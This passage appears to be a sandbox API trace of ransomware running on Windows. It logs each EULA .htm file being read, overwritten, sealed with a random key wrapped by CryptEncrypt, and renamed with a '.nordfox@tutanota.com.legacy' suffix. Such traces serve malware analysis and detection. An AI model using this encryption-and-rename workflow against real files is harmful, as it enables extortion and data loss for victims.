dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0123.630] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-ca.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-ca.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0123.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0123.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c668 | out: hHeap=0x520000) returned 1 [0123.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bd80 | out: hHeap=0x520000) returned 1 [0123.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c8c0 [0123.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3cf0 [0123.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0123.633] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3cf0 | out: pbBuffer=0x5c3cf0) returned 1 [0123.633] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0123.633] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm", dwFileAttributes=0x80) returned 1 [0123.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c6e0 [0123.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0123.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c6e0 | out: hHeap=0x520000) returned 1 [0123.635] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fi-fi.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0123.635] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=70746) returned 1 [0123.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1145a) returned 0x60cbf0 [0123.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1145a) returned 0x2e41f30 [0123.635] ReadFile (in: hFile=0x6d0, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0x1145a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0x1145a, lpOverlapped=0x0) returned 1 [0123.752] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-70746, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.752] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x1145a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1145a, lpOverlapped=0x0) returned 1 [0123.752] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cbf0 | out: hHeap=0x520000) returned 1 [0123.752] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0123.754] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1145a [0123.755] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0123.755] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0123.756] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3cf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3cf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0123.756] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0123.756] CloseHandle (hObject=0x6d0) returned 1 [0123.760] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3cf0 | out: hHeap=0x520000) returned 1 [0123.760] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0123.760] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fi-fi.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fi-fi.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0123.764] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0123.764] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c8c0 | out: hHeap=0x520000) returned 1 [0123.764] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c2a8 | out: hHeap=0x520000) returned 1 [0123.764] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c1b8 [0123.764] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4530 [0123.764] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0123.764] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0123.764] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0123.764] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm", dwFileAttributes=0x80) returned 1 [0123.765] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c668 [0123.765] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0123.765] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c668 | out: hHeap=0x520000) returned 1 [0123.765] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_et-ee.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0123.765] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=63101) returned 1 [0123.765] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf67d) returned 0x60cbf0 [0123.766] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf67d) returned 0x2e41f30 [0123.767] ReadFile (in: hFile=0x6d0, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0xf67d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0xf67d, lpOverlapped=0x0) returned 1 [0123.811] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-63101, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.811] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0xf67d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf67d, lpOverlapped=0x0) returned 1 [0123.812] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cbf0 | out: hHeap=0x520000) returned 1 [0123.812] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0123.812] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf67d [0123.812] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0123.812] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0123.813] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0123.813] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0123.813] CloseHandle (hObject=0x6d0) returned 1 [0123.813] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0123.813] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0123.813] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_et-ee.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_et-ee.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0123.816] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0123.816] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c1b8 | out: hHeap=0x520000) returned 1 [0123.816] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bdf8 | out: hHeap=0x520000) returned 1 [0123.816] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c050 [0123.816] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5298 [0123.816] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3468 [0123.816] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0123.816] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3468 | out: pbBuffer=0x5c3468) returned 1 [0123.816] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm", dwFileAttributes=0x80) returned 1 [0123.817] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c488 [0123.817] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0123.817] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c488 | out: hHeap=0x520000) returned 1 [0123.817] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-mx.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0123.818] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69816) returned 1 [0123.818] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110b8) returned 0x60cbf0 [0123.818] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110b8) returned 0x2e41f30 [0123.818] ReadFile (in: hFile=0x6d0, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0x110b8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0x110b8, lpOverlapped=0x0) returned 1 [0123.821] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-69816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.821] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x110b8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x110b8, lpOverlapped=0x0) returned 1 [0123.821] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cbf0 | out: hHeap=0x520000) returned 1 [0123.822] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0123.822] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x110b8 [0123.822] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0123.822] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0123.822] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0123.823] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0123.823] CloseHandle (hObject=0x6d0) returned 1 [0123.823] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0123.823] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3468 | out: hHeap=0x520000) returned 1 [0123.823] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-mx.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-mx.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0123.825] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0123.825] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c050 | out: hHeap=0x520000) returned 1 [0123.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0123.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0123.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4110 [0123.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0123.826] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0123.826] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0123.826] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm", dwFileAttributes=0x80) returned 1 [0123.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c1b8 [0123.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0123.827] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c1b8 | out: hHeap=0x520000) returned 1 [0123.827] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-es.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0123.827] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69816) returned 1 [0123.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110b8) returned 0x60cbf0 [0123.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110b8) returned 0x2e41f30 [0123.828] ReadFile (in: hFile=0x6d0, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0x110b8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0x110b8, lpOverlapped=0x0) returned 1 [0123.841] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-69816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.841] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x110b8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x110b8, lpOverlapped=0x0) returned 1 [0123.842] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cbf0 | out: hHeap=0x520000) returned 1 [0123.842] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0123.844] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x110b8 [0123.844] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0123.844] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0123.845] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0123.846] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0123.846] CloseHandle (hObject=0x6d0) returned 1 [0123.846] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4110 | out: hHeap=0x520000) returned 1 [0123.846] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0123.846] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-es.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-es.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0123.848] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0123.848] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0123.848] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0123.848] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0123.848] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4638 [0123.848] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0123.848] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0123.848] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0123.848] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm", dwFileAttributes=0x80) returned 1 [0123.849] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0123.849] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8fc0 [0123.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0123.849] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-us.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0123.850] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=58549) returned 1 [0123.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe4b5) returned 0x60cbf0 [0123.850] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe4b5) returned 0x2e41f30 [0123.851] ReadFile (in: hFile=0x6d0, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0xe4b5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0xe4b5, lpOverlapped=0x0) returned 1 [0123.908] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-58549, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.909] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0xe4b5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe4b5, lpOverlapped=0x0) returned 1 [0123.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cbf0 | out: hHeap=0x520000) returned 1 [0123.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0123.909] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe4b5 [0123.909] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0123.909] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0123.910] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0123.910] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0123.910] CloseHandle (hObject=0x6d0) returned 1 [0123.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4638 | out: hHeap=0x520000) returned 1 [0123.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0123.910] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-us.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-us.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0123.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8fc0 | out: hHeap=0x520000) returned 1 [0123.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0123.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0123.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0123.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0123.912] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0123.912] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0123.912] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0123.912] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm", dwFileAttributes=0x80) returned 1 [0123.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0123.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0123.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | 